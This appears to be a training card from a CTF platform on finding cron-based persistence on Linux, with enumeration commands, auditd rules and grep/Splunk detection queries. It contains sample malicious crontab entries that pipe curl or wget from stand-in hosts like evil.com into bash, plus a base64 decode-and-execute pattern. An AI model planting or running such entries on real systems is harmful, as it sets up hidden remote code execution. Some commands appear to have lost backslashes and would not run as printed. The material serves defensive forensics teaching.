Browse CTFs New CTF Sign in

Detecting Cron-Based Persistence via Scheduled Task Forensics and Download-Execute Patterns

web_injection_logic Difficulty 1–5 30 min certifiable

Theory

Why This Matters

Cron is the most widely used scheduled task mechanism on Linux and is a persistent favourite among attackers for one simple reason: cron jobs run silently and repeatedly without any user interaction, survive reboots, and are often overlooked during incident response. Miners, backdoors, and reverse shells installed in crontab entries have been found in environments that had already been "cleaned" twice, because responders focused on process and file artefacts without auditing scheduled tasks. Recognising malicious crontab entries — especially those using base64-encoded commands, curl/wget pipelines, or unusual timing expressions — is a practical skill for every Linux forensics analyst.

Core Concept

Cron reads job definitions from several locations, each with different scope and privilege:

  • User crontabs: crontab -l for the current user; stored in /var/spool/cron/crontabs/<username>. Runs as that user.
  • System crontab: /etc/crontab. Root-level; specifies a username field before the command.
  • Drop-in system jobs: /etc/cron.d/ (files with crontab-format entries, including a username field).
  • Scheduled directory scripts: /etc/cron.hourly/, /etc/cron.daily/, /etc/cron.weekly/, /etc/cron.monthly/ — scripts placed here run at those intervals.
  • Anacron: /etc/anacrontab — runs missed jobs on systems that are not always on.

Malicious crontab patterns: - Download-and-execute: * * * * * curl -s http://evil.com/shell.sh | bash or wget -qO- http://c2.example.com/update.sh | sh - Base64-encoded command: @reboot echo <base64string> | base64 -d | bash - Unusual timing: * * * * * (every minute) for a persistence mechanism that should rarely run, or */5 * * * * for a beacon - Fileless execution: piping directly into bash without writing to disk

Detection relies on three approaches: crontab snapshot comparison, auditd file watches on cron directories, and /var/log/cron (or syslog) analysis for suspicious cron-executed commands.

Technical Deep-Dive

# Enumerate all cron jobs for all users
# System-wide
cat /etc/crontab
ls -la /etc/cron.d/ && cat /etc/cron.d/*
cat /etc/anacrontab 2>/dev/null

# Per-user crontabs
for user in $(cut -d: -f1 /etc/passwd); do
  crontab -l -u "$user" 2>/dev/null 
    && echo "--- user: $user ---"
done

# Or directly from spool directory
find /var/spool/cron/crontabs/ -type f -exec echo "=== {} ===" ; -exec cat {} ;
# auditd: watch cron directories for modifications
# /etc/audit/rules.d/cron.rules:
# -w /etc/crontab -p wa -k cron_change
# -w /etc/cron.d/ -p wa -k cron_change
# -w /var/spool/cron/crontabs/ -p wa -k cron_change

ausearch -k cron_change --interpret | head -30
# Detect malicious patterns in cron files
grep -r "base64|curl.*||wget.*||bash.*-c|sh.*-c|python.*-c|perl.*-e" 
  /etc/crontab /etc/cron.d/ /var/spool/cron/crontabs/ 2>/dev/null

# Decode suspicious base64 entries
ENCODED=$(grep -r "base64" /var/spool/cron/crontabs/ 2>/dev/null 
  | grep -oP "(?<=echo )[A-Za-z0-9+/=]+" | head -1)
[ -n "$ENCODED" ] && echo "$ENCODED" | base64 -d
# Check /var/log/cron (RHEL) or syslog (Debian) for cron execution logs
grep "CRON[" /var/log/syslog | grep -v "pam_unix|session opened|session closed" 
  | grep -E "(curl|wget|bash|python|perl|nc|ncat)" | head -20

# Or on RHEL/CentOS:
grep "CMD" /var/log/cron | grep -E "(curl|wget|bash|python|perl)" | head -20
-- Splunk: detect cron-executed download-and-execute (syslog-forwarded)
index=syslog "CRON" "CMD"
| rex field=_raw "CMD ((?P<cmd>.+))"
| where match(cmd, "(?i)(curl|wget|fetch|python|perl|bash|sh|base64)")
| table _time host cmd
| sort _time

Analytical Methodology

  1. Enumerate all cron locations on the target system: /etc/crontab, all files in /etc/cron.d/, all user crontabs in /var/spool/cron/crontabs/, and the hourly/daily/weekly/monthly drop-in directories. Do not rely on crontab -l alone — attackers may write directly to spool files.
  2. For each discovered cron entry, assess the schedule: * * * * * (every minute) or */5 * * * * (every 5 minutes) for a command that appears to download or execute code is a strong beacon/persistence indicator.
  3. Examine the command field for: curl, wget, fetch, python -c, perl -e, bash -c, sh -c, base64 -d, nc, ncat, pipes (|), and command substitution (backticks or $()). Any combination of a download tool piped into a shell interpreter is a download-and-execute pattern.
  4. Decode any base64-encoded payloads found in crontab entries. Use base64 -d or python3 -c "import base64; print(base64.b64decode('<data>').decode())". Document the decoded command.
  5. Check file modification times on crontab files using stat. Times that fall within the incident window confirm attacker-installed entries. Compare against the most recent backup or configuration management baseline.
  6. Query cron execution logs (/var/log/cron, /var/log/syslog) for commands executed by cron during the incident window. Any cron-run command generating network connections (visible in netflow or firewall logs) is a high-priority finding.
  7. Correlate cron execution timestamps with outbound network connections from the host. Regular outbound connections to a single external IP at the cron job's interval confirm an active beacon or reverse shell session.
  8. Remove the malicious crontab entry during remediation and verify: crontab -r -u <user> for user crontabs, or delete the specific file from /etc/cron.d/. Confirm removal with another enumeration pass.

Common Analytical Errors

  • Only checking the compromised user's crontab: Attackers with root access add crontab entries for root or other privileged accounts, or write directly to /etc/cron.d/. Always enumerate all users and system cron locations.
  • Missing anacron jobs: /etc/anacrontab runs jobs that are delayed on systems that were off during the scheduled window. Analysts familiar only with standard cron may miss anacron-based persistence.
  • Not checking cron.daily/weekly/monthly: Scripts placed in these directories have no visible entry in any crontab file — they are just executable files in a directory. Check these directories for new or unexpected scripts, particularly those owned by non-root users or with recent modification times.
  • Treating the cron log as authoritative: /var/log/cron shows which cron jobs ran but not always their full output. A job that executes a shell with -c argument may produce minimal log output. Combine cron logs with network logs to determine if the job successfully made external connections.

NICE Framework Alignment

Code Work Role Knowledge / Skill / Task Relevance
K0046 Knowledge of intrusion detection methodologies Crontab monitoring is a Linux persistence detection baseline control
K0145 Knowledge of security event correlation tools Correlating cron execution logs with network telemetry in a SIEM to confirm active beaconing
K0187 Knowledge of file type abuse by adversaries Shell scripts in cron.daily/weekly are plain-text files installed by attackers to blend with system maintenance
S0047 Skill in preserving evidence integrity Collecting crontab snapshots and spool directory images before remediation removes persistence evidence
T0049 Decrypt seized data / analyze forensic artifacts Decoding base64-encoded crontab payloads to recover the plaintext command executed by the attacker

Further Reading

  • crontab(5) man page — syntax reference for all cron file formats
  • Paul Vixie: original cron implementation notes — understanding cron scheduling semantics
  • MITRE ATT&CK T1053.003: Cron — Linux cron persistence technique with detection guidance
  • SANS: "Hunting for Persistence in Linux" — crontab section (Lenny Zeltser blog)
  • Elastic detection rule: "Suspicious Cron Activity" (GitHub elastic/detection-rules)

Challenge Lab

Reinforce your learning with a hands-on generated challenge based on this card's competency.